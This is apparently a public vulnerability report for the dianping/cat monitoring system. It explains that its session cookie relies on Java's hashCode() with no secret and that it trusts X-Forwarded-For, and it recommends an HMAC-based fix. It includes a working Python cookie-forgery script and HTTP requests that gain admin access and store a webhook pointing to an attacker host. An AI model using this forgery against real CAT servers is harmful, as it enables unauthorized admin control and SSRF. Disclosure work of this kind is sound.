#2384·cat

Session cookie forgery allows unauthenticated admin access

Author: geo-chenCreated Jul 5, 2026Updated Jul 5, 2026

reported via email on 3 June 2026 - no response.

I am reporting a session authentication vulnerability in dianping/cat that allows any unauthenticated attacker with network access to the CAT HTTP port to forge a valid admin session cookie and gain full write access to all CAT configuration endpoints.

Summary of the issue:

CAT's session cookie (named "ct") uses Java's String.hashCode() as its only integrity check. This function is public, deterministic, and requires no server-side secret, so an attacker can compute a valid cookie value for any username entirely offline. A second flaw in the same code path uses the client-supplied X-Forwarded-For header as the canonical client IP, so the per-request IP binding check is also trivially bypassed by setting that header to match the IP embedded in the forged cookie.

Affected files:

  • cat-home/src/main/java/com/dianping/cat/system/page/login/service/TokenBuilder.java

    • getCheckSum() at line 58 uses str.hashCode() with no server secret
    • parse() at line 76 compares the cookie IP against HttpUtils.getRemoteAddress() which reads X-Forwarded-For first
  • cat-home/src/main/java/com/dianping/cat/util/HttpUtils.java

    • getRemoteAddress() at line 22 reads the X-Forwarded-For header without validation

PoC (requires Python, no external libraries):

Step 1 -- compute the forged cookie:

import time

def java_hash(s):
    h = 0
    for c in s:
        h = (31 * h + ord(c)) & 0xFFFFFFFF
    if h >= 0x80000000:
        h -= 0x100000000
    return h

real_name = "admin"
user_name = "admin"
timestamp = str(int(time.time() * 1000))
remote_ip = "172.19.0.1"   # set to match X-Forwarded-For header below

payload = real_name + "|" + user_name + "|" + timestamp + "|" + remote_ip + "|"
cookie  = payload + str(java_hash(payload))
print("ct=" + cookie)

Step 2 -- access the admin configuration page:

GET /cat/s/config?op=projects HTTP/1.1
Host: <cat-host>:8080
Cookie: ct=admin|admin|<timestamp>|172.19.0.1|<hashcode>
X-Forwarded-For: 172.19.0.1

HTTP/1.1 200 OK
(full admin config page returned, no redirect to login)

Step 3 -- store an attacker-controlled SSRF webhook:

POST /cat/s/config?op=alertSenderConfigUpdate HTTP/1.1
Host: <cat-host>:8080
Cookie: ct=admin|admin|<timestamp>|172.19.0.1|<hashcode>
X-Forwarded-For: 172.19.0.1
Content-Type: application/x-www-form-urlencoded

content=<sender-config><sender id="x" url="http://attacker.local/ssrf" type="get" ...></sender></sender-config>

Response contains the attacker URL reflected back, confirming the config was persisted.

Recommended fix:

Replace hashCode() with a cryptographically keyed MAC (e.g. HMAC-SHA256) over the token payload, using a server-side secret stored outside the cookie. Remove the IP binding check, or if IP binding is desired, derive the IP exclusively from request.getRemoteAddr() and never from proxy headers.